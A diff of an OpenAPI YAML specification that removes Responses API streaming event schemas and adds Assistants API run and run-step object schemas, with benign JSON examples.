+ description: Details on why the run is incomplete. Will be `null` if the run is not incomplete.
+ type: object
+ nullable: true
+ properties:
+ reason:
+ description: The reason why the run is incomplete. This will point to which specific token limit was reached over the course of the run.
+ type: string
+ enum:
+ - max_completion_tokens
+ - max_prompt_tokens
+ model:
+ description: The model that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
+ type: string
+ instructions:
+ description: The instructions that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
type: string
+ tools:
+ description: The list of tools that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
+ default: []
+ type: array
+ maxItems: 20
+ items:
+ $ref: '#/components/schemas/AssistantTool'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ usage:
+ $ref: '#/components/schemas/RunCompletionUsage'
+ temperature:
+ description: The sampling temperature used for this run. If not set, defaults to 1.
+ type: number
+ nullable: true
+ top_p:
+ description: The nucleus sampling value used for this run. If not set, defaults to 1.
+ type: number
+ nullable: true
+ max_prompt_tokens:
+ type: integer
+ nullable: true
description: |
- The type of the event. Always `response.audio.done`.
- enum:
- - response.audio.done
- x-stainless-const: true
- sequence_number:
+ The maximum number of prompt tokens specified to have been used over the course of the run.
+ minimum: 256
+ max_completion_tokens:
type: integer
+ nullable: true
description: |
- The sequence number of the delta.
+ The maximum number of completion tokens specified to have been used over the course of the run.
+ minimum: 256
+ truncation_strategy:
+ allOf:
+ - $ref: '#/components/schemas/TruncationObject'
+ - nullable: true
+ tool_choice:
+ allOf:
+ - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
+ - nullable: true
+ parallel_tool_calls:
+ $ref: '#/components/schemas/ParallelToolCalls'
+ response_format:
+ $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
+ nullable: true
required:
- - type
- - sequence_number
- - response_id
+ - id
+ - object
+ - created_at
+ - thread_id
+ - assistant_id
+ - status
+ - required_action
+ - last_error
+ - expires_at
+ - started_at
+ - cancelled_at
+ - failed_at
+ - completed_at
+ - model
+ - instructions
+ - tools
+ - metadata
+ - usage
+ - incomplete_details
+ - max_prompt_tokens
+ - max_completion_tokens
+ - truncation_strategy
+ - tool_choice
+ - parallel_tool_calls
+ - response_format
x-oaiMeta:
- name: response.audio.done
- group: responses
+ name: The run object
+ beta: true
example: |
{
- "type": "response.audio.done",
- "response_id": "resp-123",
- "sequence_number": 1
+ "id": "run_abc123",
+ "object": "thread.run",
+ "created_at": 1698107661,
+ "assistant_id": "asst_abc123",
+ "thread_id": "thread_abc123",
+ "status": "completed",
+ "started_at": 1699073476,
+ "expires_at": null,
+ "cancelled_at": null,
+ "failed_at": null,
+ "completed_at": 1699073498,
+ "last_error": null,
+ "model": "gpt-5",
+ "instructions": null,
+ "tools": [{"type": "file_search"}, {"type": "code_interpreter"}],
+ "metadata": {},
+ "incomplete_details": null,
+ "usage": {
+ "prompt_tokens": 123,
+ "completion_tokens": 456,
+ "total_tokens": 579
+ },
+ "temperature": 1.0,
+ "top_p": 1.0,
+ "max_prompt_tokens": 1000,
+ "max_completion_tokens": 1000,
+ "truncation_strategy": {
+ "type": "auto",
+ "last_messages": null
+ },
+ "response_format": "auto",
+ "tool_choice": "auto",
+ "parallel_tool_calls": true
}
- ResponseAudioTranscriptDeltaEvent:
+ RunStepCompletionUsage:
+ anyOf:
+ - type: object
+ description: Usage statistics related to the run step. This value will be `null` while the run step's status is `in_progress`.
+ properties:
+ completion_tokens:
+ type: integer
+ description: Number of completion tokens used over the course of the run step.
+ prompt_tokens:
+ type: integer
+ description: Number of prompt tokens used over the course of the run step.
+ total_tokens:
+ type: integer
+ description: Total number of tokens used (prompt + completion).
+ required:
+ - prompt_tokens
+ - completion_tokens
+ - total_tokens
+ - type: 'null'
+ RunStepDeltaObject:
type: object
- description: Emitted when there is a partial transcript of audio.
+ title: Run step delta object
+ description: |
+ Represents a run step delta i.e. any changed fields on a run step during streaming.
properties:
- type:
+ id:
+ description: The identifier of the run step, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `thread.run.step.delta`.
type: string
- description: |
- The type of the event. Always `response.audio.transcript.delta`.
enum:
- - response.audio.transcript.delta
+ - thread.run.step.delta
x-stainless-const: true
delta:
- type: string
- description: |
- The partial transcript of the audio response.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ $ref: '#/components/schemas/RunStepDeltaObjectDelta'
required:
- - type
- - response_id
+ - id
+ - object
- delta
- - sequence_number
x-oaiMeta:
- name: response.audio.transcript.delta
- group: responses
+ name: The run step delta object
+ beta: true
example: |
{
- "type": "response.audio.transcript.delta",
- "response_id": "resp_123",
- "delta": " ... partial transcript ... ",
- "sequence_number": 1
+ "id": "step_123",
+ "object": "thread.run.step.delta",
+ "delta": {
+ "step_details": {
+ "type": "tool_calls",
+ "tool_calls": [
+ {
+ "index": 0,
+ "id": "call_123",
+ "type": "code_interpreter",
+ "code_interpreter": { "input": "", "outputs": [] }
+ }
+ ]
+ }
+ }
}
- ResponseAudioTranscriptDoneEvent:
+ RunStepDeltaStepDetailsMessageCreationObject:
+ title: Message creation
type: object
- description: Emitted when the full audio transcript is completed.
+ description: Details of the message creation by the run step.
properties:
type:
+ description: Always `message_creation`.
type: string
- description: |
- The type of the event. Always `response.audio.transcript.done`.
enum:
- - response.audio.transcript.done
+ - message_creation
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ message_creation:
+ type: object
+ properties:
+ message_id:
+ type: string
+ description: The ID of the message that was created by this run step.
required:
- type
- - response_id
- - sequence_number
- x-oaiMeta:
- name: response.audio.transcript.done
- group: responses
- example: |
- {
- "type": "response.audio.transcript.done",
- "response_id": "resp_123",
- "sequence_number": 1
- }
- ResponseCodeInterpreterCallCodeDeltaEvent:
+ RunStepDeltaStepDetailsToolCallsCodeObject:
+ title: Code interpreter tool call
type: object
- description: Emitted when a partial code snippet is streamed by the code interpreter.
+ description: Details of the Code Interpreter tool call the run step was involved in.
properties:
- type:
- type: string
- description: The type of the event. Always `response.code_interpreter_call_code.delta`.
- enum:
- - response.code_interpreter_call_code.delta
- x-stainless-const: true
- output_index:
+ index:
type: integer
- description: The index of the output item in the response for which the code is being streamed.
- item_id:
- type: string
- description: The unique identifier of the code interpreter tool call item.
- delta:
+ description: The index of the tool call in the tool calls array.
+ id:
type: string
- description: The partial code snippet being streamed by the code interpreter.
- sequence_number:
- type: integer
- description: The sequence number of this event, used to order streaming events.
- required:
- - type
- - output_index
- - item_id
- - delta
- - sequence_number
- x-oaiMeta:
- name: response.code_interpreter_call_code.delta
- group: responses
- example: |
- {
- "type": "response.code_interpreter_call_code.delta",
- "output_index": 0,
- "item_id": "ci_12345",
- "delta": "print('Hello, world')",
- "sequence_number": 1
- }
- ResponseCodeInterpreterCallCodeDoneEvent:
- type: object
- description: Emitted when the code snippet is finalized by the code interpreter.
- properties:
+ description: The ID of the tool call.
type:
type: string
- description: The type of the event. Always `response.code_interpreter_call_code.done`.
+ description: The type of tool call. This is always going to be `code_interpreter` for this type of tool call.
enum:
- - response.code_interpreter_call_code.done
+ - code_interpreter
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response for which the code is finalized.
- item_id:
- type: string
- description: The unique identifier of the code interpreter tool call item.
- code:
- type: string
- description: The final code snippet output by the code interpreter.
- sequence_number:
- type: integer
- description: The sequence number of this event, used to order streaming events.
+ code_interpreter:
+ type: object
+ description: The Code Interpreter tool call definition.
+ properties:
+ input:
+ type: string
+ description: The input to the Code Interpreter tool call.
+ outputs:
+ type: array
+ description: The outputs from the Code Interpreter tool call. Code Interpreter can output one or more items, including text (`logs`) or images (`image`). Each of these are represented by a different object type.
+ items:
+ type: object
+ anyOf:
+ - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsCodeOutputLogsObject'
+ - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsCodeOutputImageObject'
+ discriminator:
+ propertyName: type
required:
+ - index
- type
- - output_index
- - item_id
- - code
- - sequence_number
- x-oaiMeta:
- name: response.code_interpreter_call_code.done
- group: responses
- example: |
- {
- "type": "response.code_interpreter_call_code.done",
- "output_index": 3,
- "item_id": "ci_12345",
- "code": "print('done')",
- "sequence_number": 1
- }
- ResponseCodeInterpreterCallCompletedEvent:
+ RunStepDeltaStepDetailsToolCallsCodeOutputImageObject:
+ title: Code interpreter image output
type: object
- description: Emitted when the code interpreter call is completed.
properties:
- type:
- type: string
- description: The type of the event. Always `response.code_interpreter_call.completed`.
- enum:
- - response.code_interpreter_call.completed
- x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response for which the code interpreter call is completed.
- item_id:
- type: string
- description: The unique identifier of the code interpreter tool call item.
- sequence_number:
+ index:
type: integer
- description: The sequence number of this event, used to order streaming events.
- required:
- - type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.code_interpreter_call.completed
- group: responses
- example: |
- {
- "type": "response.code_interpreter_call.completed",
- "output_index": 5,
- "item_id": "ci_12345",
- "sequence_number": 1
- }
- ResponseCodeInterpreterCallInProgressEvent:
- type: object
- description: Emitted when a code interpreter call is in progress.
- properties:
+ description: The index of the output in the outputs array.
type:
+ description: Always `image`.
type: string
- description: The type of the event. Always `response.code_interpreter_call.in_progress`.
enum:
- - response.code_interpreter_call.in_progress
+ - image
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response for which the code interpreter call is in progress.
- item_id:
- type: string
- description: The unique identifier of the code interpreter tool call item.
- sequence_number:
- type: integer
- description: The sequence number of this event, used to order streaming events.
+ image:
+ type: object
+ properties:
+ file_id:
+ description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
+ type: string
required:
+ - index
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.code_interpreter_call.in_progress
- group: responses
- example: |
- {
- "type": "response.code_interpreter_call.in_progress",
- "output_index": 0,
- "item_id": "ci_12345",
- "sequence_number": 1
- }
- ResponseCodeInterpreterCallInterpretingEvent:
+ RunStepDeltaStepDetailsToolCallsCodeOutputLogsObject:
+ title: Code interpreter log output
type: object
- description: Emitted when the code interpreter is actively interpreting the code snippet.
+ description: Text output from the Code Interpreter tool call as part of a run step.
properties:
+ index:
+ type: integer
+ description: The index of the output in the outputs array.
type:
+ description: Always `logs`.
type: string
- description: The type of the event. Always `response.code_interpreter_call.interpreting`.
enum:
- - response.code_interpreter_call.interpreting
+ - logs
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response for which the code interpreter is interpreting code.
- item_id:
+ logs:
type: string
- description: The unique identifier of the code interpreter tool call item.
- sequence_number:
- type: integer
- description: The sequence number of this event, used to order streaming events.
+ description: The text output from the Code Interpreter tool call.
required:
+ - index
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.code_interpreter_call.interpreting
- group: responses
- example: |
- {
- "type": "response.code_interpreter_call.interpreting",
- "output_index": 4,
- "item_id": "ci_12345",
- "sequence_number": 1
- }
- ResponseCompletedEvent:
+ RunStepDeltaStepDetailsToolCallsFileSearchObject:
+ title: File search tool call
type: object
- description: Emitted when the model response is complete.
properties:
- type:
- type: string
- description: |
- The type of the event. Always `response.completed`.
- enum:
- - response.completed
- x-stainless-const: true
- response:
- $ref: '#/components/schemas/Response'
- description: |
- Properties of the completed response.
- sequence_number:
+ index:
type: integer
- description: The sequence number for this event.
- required:
- - type
- - response
- - sequence_number
- x-oaiMeta:
- name: response.completed
- group: responses
- example: |
- {
- "type": "response.completed",
- "response": {
- "id": "resp_123",
- "object": "response",
- "created_at": 1740855869,
- "status": "completed",
- "completed_at": 1740855870,
- "error": null,
- "incomplete_details": null,
- "input": [],
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [
- {
- "id": "msg_123",
- "type": "message",
- "role": "assistant",
- "content": [
- {
- "type": "output_text",
- "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
- "annotations": []
- }
- ]
- }
- ],
- "previous_response_id": null,
- "reasoning_effort": null,
- "store": false,
- "temperature": 1,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1,
- "truncation": "disabled",
- "usage": {
- "input_tokens": 0,
- "output_tokens": 0,
- "output_tokens_details": {
- "reasoning_tokens": 0
- },
- "total_tokens": 0
- },
- "user": null,
- "metadata": {}
- },
- "sequence_number": 1
- }
- ResponseConfigurationUpdate:
- type: object
- description: |
- A configuration update that applies to subsequent responses until it is
- replaced by another configuration update.
- properties:
+ description: The index of the tool call in the tool calls array.
id:
- type: string
- description: The unique ID of the configuration update item.
- example: cnfu_123
+ type: string
+ description: The ID of the tool call object.
type:
type: string
+ description: The type of tool call. This is always going to be `file_search` for this type of tool call.
enum:
- - configuration_update
- description: The item type. Always `configuration_update`.
- default: configuration_update
+ - file_search
x-stainless-const: true
- reasoning:
+ file_search:
type: object
- description: The reasoning configuration applied by this update.
- properties:
- effort:
- $ref: '#/components/schemas/ReasoningEffort'
- description: |
- The reasoning effort used for subsequent responses until another
- configuration update replaces it.
+ description: For now, this is always going to be an empty object.
+ x-oaiTypeLabel: map
required:
- - id
+ - index
- type
- ResponseConfigurationUpdateItemParam:
+ - file_search
+ RunStepDeltaStepDetailsToolCallsFunctionObject:
type: object
- description: |
- An update to the conversation's response configuration. The configuration
- remains in effect for subsequent responses until it is replaced by another
- configuration update.
+ title: Function tool call
properties:
+ index:
+ type: integer
+ description: The index of the tool call in the tool calls array.
id:
- anyOf:
- - type: string
- description: The unique ID of the configuration update item.
- example: cnfu_123
- - type: 'null'
+ type: string
+ description: The ID of the tool call object.
type:
type: string
+ description: The type of tool call. This is always going to be `function` for this type of tool call.
enum:
- - configuration_update
- description: The item type. Always `configuration_update`.
- default: configuration_update
+ - function
x-stainless-const: true
- reasoning:
+ function:
type: object
- description: Updates to reasoning configuration. Only effort is supported.
+ description: The definition of the function that was called.
properties:
- effort:
- $ref: '#/components/schemas/ReasoningEffort'
- description: |
- The reasoning effort to use for subsequent responses until another
- configuration update replaces it.
+ name:
+ type: string
+ description: The name of the function.
+ arguments:
+ type: string
+ description: The arguments passed to the function.
+ output:
+ anyOf:
+ - type: string
+ description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
+ - type: 'null'
required:
+ - index
- type
- ResponseContentPartAddedEvent:
+ RunStepDeltaStepDetailsToolCallsObject:
+ title: Tool calls
type: object
- description: Emitted when a new content part is added.
+ description: Details of the tool call.
properties:
type:
+ description: Always `tool_calls`.
type: string
- description: |
- The type of the event. Always `response.content_part.added`.
enum:
- - response.content_part.added
+ - tool_calls
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the output item that the content part was added to.
- output_index:
- type: integer
- description: |
- The index of the output item that the content part was added to.
- content_index:
- type: integer
- description: |
- The index of the content part that was added.
- part:
- $ref: '#/components/schemas/OutputContent'
+ tool_calls:
+ type: array
description: |
- The content part that was added.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ An array of tool calls the run step was involved in. These can be associated with one of three types of tools: `code_interpreter`, `file_search`, or `function`.
+ items:
+ $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCall'
required:
- type
- - item_id
- - output_index
- - content_index
- - part
- - sequence_number
- x-oaiMeta:
- name: response.content_part.added
- group: responses
- example: |
- {
- "type": "response.content_part.added",
- "item_id": "msg_123",
- "output_index": 0,
- "content_index": 0,
- "part": {
- "type": "output_text",
- "text": "",
- "annotations": []
- },
- "sequence_number": 1
- }
- ResponseContentPartDoneEvent:
+ RunStepDetailsMessageCreationObject:
+ title: Message creation
type: object
- description: Emitted when a content part is done.
+ description: Details of the message creation by the run step.
properties:
type:
+ description: Always `message_creation`.
type: string
- description: |
- The type of the event. Always `response.content_part.done`.
enum:
- - response.content_part.done
+ - message_creation
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the output item that the content part was added to.
- output_index:
- type: integer
- description: |
- The index of the output item that the content part was added to.
- content_index:
- type: integer
- description: |
- The index of the content part that is done.
- sequence_number:
- type: integer
- description: The sequence number of this event.
- part:
- $ref: '#/components/schemas/OutputContent'
- description: |
- The content part that is done.
+ message_creation:
+ type: object
+ properties:
+ message_id:
+ type: string
+ description: The ID of the message that was created by this run step.
+ required:
+ - message_id
required:
- type
- - item_id
- - output_index
- - content_index
- - part
- - sequence_number
- x-oaiMeta:
- name: response.content_part.done
- group: responses
- example: |
- {
- "type": "response.content_part.done",
- "item_id": "msg_123",
- "output_index": 0,
- "content_index": 0,
- "sequence_number": 1,
- "part": {
- "type": "output_text",
- "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
- "annotations": []
- }
- }
- ResponseCreatedEvent:
+ - message_creation
+ RunStepDetailsToolCallsCodeObject:
+ title: Code Interpreter tool call
type: object
- description: |
- An event that is emitted when a response is created.
+ description: Details of the Code Interpreter tool call the run step was involved in.
properties:
+ id:
+ type: string
+ description: The ID of the tool call.
type:
type: string
- description: |
- The type of the event. Always `response.created`.
+ description: The type of tool call. This is always going to be `code_interpreter` for this type of tool call.
enum:
- - response.created
+ - code_interpreter
x-stainless-const: true
- response:
- $ref: '#/components/schemas/Response'
- description: |
- The response that was created.
- sequence_number:
- type: integer
- description: The sequence number for this event.
+ code_interpreter:
+ type: object
+ description: The Code Interpreter tool call definition.
+ required:
+ - input
+ - outputs
+ properties:
+ input:
+ type: string
+ description: The input to the Code Interpreter tool call.
+ outputs:
+ type: array
+ description: The outputs from the Code Interpreter tool call. Code Interpreter can output one or more items, including text (`logs`) or images (`image`). Each of these are represented by a different object type.
+ items:
+ type: object
+ anyOf:
+ - $ref: '#/components/schemas/RunStepDetailsToolCallsCodeOutputLogsObject'
+ - $ref: '#/components/schemas/RunStepDetailsToolCallsCodeOutputImageObject'
+ discriminator:
+ propertyName: type
required:
+ - id
- type
- - response
- - sequence_number
- x-oaiMeta:
- name: response.created
- group: responses
- example: |
- {
- "type": "response.created",
- "response": {
- "id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
- "object": "response",
- "created_at": 1741487325,
- "status": "in_progress",
- "completed_at": null,
- "error": null,
- "incomplete_details": null,
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [],
- "parallel_tool_calls": true,
- "previous_response_id": null,
- "reasoning": {
- "effort": null,
- "summary": null
- },
- "store": true,
- "temperature": 1,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1,
- "truncation": "disabled",
- "usage": null,
- "user": null,
- "metadata": {}
- },
- "sequence_number": 1
- }
- ResponseCustomToolCallInputDeltaEvent:
- title: ResponseCustomToolCallInputDelta
+ - code_interpreter
+ RunStepDetailsToolCallsCodeOutputImageObject:
+ title: Code Interpreter image output
type: object
- description: |
- Event representing a delta (partial update) to the input of a custom tool call.
properties:
type:
+ description: Always `image`.
type: string
enum:
- - response.custom_tool_call_input.delta
- description: The event type identifier.
+ - image
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of this event.
- output_index:
- type: integer
- description: The index of the output this delta applies to.
- item_id:
+ image:
+ type: object
+ properties:
+ file_id:
+ description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
+ type: string
+ required:
+ - file_id
+ required:
+ - type
+ - image
+ x-stainless-naming:
+ java:
+ type_name: ImageOutput
+ kotlin:
+ type_name: ImageOutput
+ RunStepDetailsToolCallsCodeOutputLogsObject:
+ title: Code Interpreter log output
+ type: object
+ description: Text output from the Code Interpreter tool call as part of a run step.
+ properties:
+ type:
+ description: Always `logs`.
type: string
- description: Unique identifier for the API item associated with this event.
- delta:
+ enum:
+ - logs
+ x-stainless-const: true
+ logs:
type: string
- description: The incremental input data (delta) for the custom tool call.
+ description: The text output from the Code Interpreter tool call.
required:
- type
- - output_index
- - item_id
- - delta
- - sequence_number
- x-oaiMeta:
- name: response.custom_tool_call_input.delta
- group: responses
- example: |
- {
- "type": "response.custom_tool_call_input.delta",
- "output_index": 0,
- "item_id": "ctc_1234567890abcdef",
- "delta": "partial input text"
- }
- ResponseCustomToolCallInputDoneEvent:
- title: ResponseCustomToolCallInputDone
+ - logs
+ x-stainless-naming:
+ java:
+ type_name: LogsOutput
+ kotlin:
+ type_name: LogsOutput
+ RunStepDetailsToolCallsFileSearchObject:
+ title: File search tool call
type: object
- description: |
- Event indicating that input for a custom tool call is complete.
properties:
+ id:
+ type: string
+ description: The ID of the tool call object.
type:
type: string
+ description: The type of tool call. This is always going to be `file_search` for this type of tool call.
enum:
- - response.custom_tool_call_input.done
- description: The event type identifier.
+ - file_search
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of this event.
- output_index:
- type: integer
- description: The index of the output this event applies to.
- item_id:
+ file_search:
+ type: object
+ description: For now, this is always going to be an empty object.
+ x-oaiTypeLabel: map
+ properties:
+ ranking_options:
+ $ref: '#/components/schemas/RunStepDetailsToolCallsFileSearchRankingOptionsObject'
+ results:
+ type: array
+ description: The results of the file search.
+ items:
+ $ref: '#/components/schemas/RunStepDetailsToolCallsFileSearchResultObject'
+ required:
+ - id
+ - type
+ - file_search
+ RunStepDetailsToolCallsFileSearchRankingOptionsObject:
+ title: File search tool call ranking options
+ type: object
+ description: The ranking options for the file search.
+ properties:
+ ranker:
+ $ref: '#/components/schemas/FileSearchRanker'
+ score_threshold:
+ type: number
+ description: The score threshold for the file search. All values must be a floating point number between 0 and 1.
+ minimum: 0
+ maximum: 1
+ required:
+ - ranker
+ - score_threshold
+ RunStepDetailsToolCallsFileSearchResultObject:
+ title: File search tool call result
+ type: object
+ description: A result instance of the file search.
+ x-oaiTypeLabel: map
+ properties:
+ file_id:
type: string
- description: Unique identifier for the API item associated with this event.
- input:
+ description: The ID of the file that result was found in.
+ file_name:
type: string
- description: The complete input data for the custom tool call.
+ description: The name of the file that result was found in.
+ score:
+ type: number
+ description: The score of the result. All values must be a floating point number between 0 and 1.
+ minimum: 0
+ maximum: 1
+ content:
+ type: array
+ description: The content of the result that was found. The content is only included if requested via the include query parameter.
+ items:
+ type: object
+ properties:
+ type:
+ type: string
+ description: The type of the content.
+ enum:
+ - text
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text content of the file.
+ required:
+ - file_id
+ - file_name
+ - score
+ RunStepDetailsToolCallsFunctionObject:
+ type: object
+ title: Function tool call
+ properties:
+ id:
+ type: string
+ description: The ID of the tool call object.
+ type:
+ type: string
+ description: The type of tool call. This is always going to be `function` for this type of tool call.
+ enum:
+ - function
+ x-stainless-const: true
+ function:
+ type: object
+ description: The definition of the function that was called.
+ properties:
+ name:
+ type: string
+ description: The name of the function.
+ arguments:
+ type: string
+ description: The arguments passed to the function.
+ output:
+ anyOf:
+ - type: string
+ description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
+ - type: 'null'
+ required:
+ - name
+ - arguments
+ - output
required:
+ - id
- type
- - output_index
- - item_id
- - input
- - sequence_number
- x-oaiMeta:
- name: response.custom_tool_call_input.done
- group: responses
- example: |
- {
- "type": "response.custom_tool_call_input.done",
- "output_index": 0,
- "item_id": "ctc_1234567890abcdef",
- "input": "final complete input text"
- }
- ResponseError:
- anyOf:
- - type: object
- description: |
- An error object returned when the model fails to generate a Response.
- properties:
- code:
- $ref: '#/components/schemas/ResponseErrorCode'
- message:
- type: string
- description: |
- A human-readable description of the error.
- misalignment:
- $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
- required:
- - code
- - message
- - type: 'null'
- ResponseErrorCode:
- type: string
- description: |
- The error code for the response.
- enum:
- - server_error
- - rate_limit_exceeded
- - invalid_prompt
- - data_residency_mismatch
- - bio_policy
- - misalignment_policy_violation
- - vector_store_timeout
- - invalid_image
- - invalid_image_format
- - invalid_base64_image
- - invalid_image_url
- - image_too_large
- - image_too_small
- - image_parse_error
- - image_content_policy_violation
- - invalid_image_mode
- - image_file_too_large
- - unsupported_image_media_type
- - empty_image_file
- - failed_to_download_image
- - image_file_not_found
- ResponseErrorEvent:
+ - function
+ RunStepDetailsToolCallsObject:
+ title: Tool calls
type: object
- description: Emitted when an error occurs.
+ description: Details of the tool call.
properties:
type:
+ description: Always `tool_calls`.
type: string
- description: |
- The type of the event. Always `error`.
enum:
- - error
+ - tool_calls
x-stainless-const: true
- code:
- anyOf:
- - type: string
- description: |
- The error code.
- - type: 'null'
- message:
- type: string
+ tool_calls:
+ type: array
description: |
- The error message.
- param:
- anyOf:
- - type: string
- description: |
- The error parameter.
- - type: 'null'
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ An array of tool calls the run step was involved in. These can be associated with one of three types of tools: `code_interpreter`, `file_search`, or `function`.
+ items:
+ $ref: '#/components/schemas/RunStepDetailsToolCall'
required:
- type
- - code
- - message
- - param
- - sequence_number
- x-oaiMeta:
- name: error
- group: responses
- example: |
- {
- "type": "error",
- "code": "ERR_SOMETHING",
- "message": "Something went wrong",
- "param": null,
- "sequence_number": 1
- }
- ResponseFailedEvent:
+ - tool_calls
+ RunStepObject:
type: object
+ title: Run steps
description: |
- An event that is emitted when a response fails.
+ Represents a step in execution of a run.
properties:
- type:
+ id:
+ description: The identifier of the run step, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `thread.run.step`.
type: string
- description: |
- The type of the event. Always `response.failed`.
enum:
- - response.failed
+ - thread.run.step
x-stainless-const: true
- sequence_number:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the run step was created.
type: integer
- description: The sequence number of this event.
- response:
- $ref: '#/components/schemas/Response'
- description: |
- The response that failed.
+ format: unixtime
+ assistant_id:
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) associated with the run step.
+ type: string
+ thread_id:
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was run.
+ type: string
+ run_id:
+ description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) that this run step is a part of.
+ type: string
+ type:
+ description: The type of run step, which can be either `message_creation` or `tool_calls`.
+ type: string
+ enum:
+ - message_creation
+ - tool_calls
+ status:
+ description: The status of the run step, which can be either `in_progress`, `cancelled`, `failed`, `completed`, or `expired`.
+ type: string
+ enum:
+ - in_progress
+ - cancelled
+ - failed
+ - completed
+ - expired
+ step_details:
+ type: object
+ description: The details of the run step.
+ anyOf:
+ - $ref: '#/components/schemas/RunStepDetailsMessageCreationObject'
+ - $ref: '#/components/schemas/RunStepDetailsToolCallsObject'
+ discriminator:
+ propertyName: type
+ last_error:
+ anyOf:
+ - type: object
+ description: The last error associated with this run step. Will be `null` if there are no errors.
+ properties:
+ code:
+ type: string
+ description: One of `server_error` or `rate_limit_exceeded`.
+ enum:
+ - server_error
+ - rate_limit_exceeded
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - code
+ - message
+ - type: 'null'
+ expired_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the run step expired. A step is considered expired if the parent run is expired.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ cancelled_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the run step was cancelled.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ failed_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the run step failed.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ completed_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the run step completed.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ usage:
+ $ref: '#/components/schemas/RunStepCompletionUsage'
required:
+ - id
+ - object
+ - created_at
+ - assistant_id
+ - thread_id
+ - run_id
- type
- - response
- - sequence_number
+ - status
+ - step_details
+ - last_error
+ - expired_at
+ - cancelled_at
+ - failed_at
+ - completed_at
+ - metadata
+ - usage
x-oaiMeta:
- name: response.failed
- group: responses
+ name: The run step object
+ beta: true
example: |
{
- "type": "response.failed",
- "response": {
- "id": "resp_123",
- "object": "response",
- "created_at": 1740855869,
- "status": "failed",
- "completed_at": null,
- "error": {
- "code": "server_error",
- "message": "The model failed to generate a response."
- },
- "incomplete_details": null,
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [],
- "previous_response_id": null,
- "reasoning_effort": null,
- "store": false,
- "temperature": 1,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1,
- "truncation": "disabled",
- "usage": null,
- "user": null,
- "metadata": {}
+ "id": "step_abc123",
+ "object": "thread.run.step",
+ "created_at": 1699063291,
+ "run_id": "run_abc123",
+ "assistant_id": "asst_abc123",
+ "thread_id": "thread_abc123",
+ "type": "message_creation",
+ "status": "completed",
+ "cancelled_at": null,
+ "completed_at": 1699063291,
+ "expired_at": null,
+ "failed_at": null,
+ "last_error": null,
+ "step_details": {
+ "type": "message_creation",
+ "message_creation": {
+ "message_id": "msg_abc123"
+ }
+ },
+ "usage": {
+ "prompt_tokens": 123,
+ "completion_tokens": 456,
+ "total_tokens": 579
}
}
- ResponseFileSearchCallCompletedEvent:
+ RunStepStreamEvent:
+ anyOf:
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.created
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
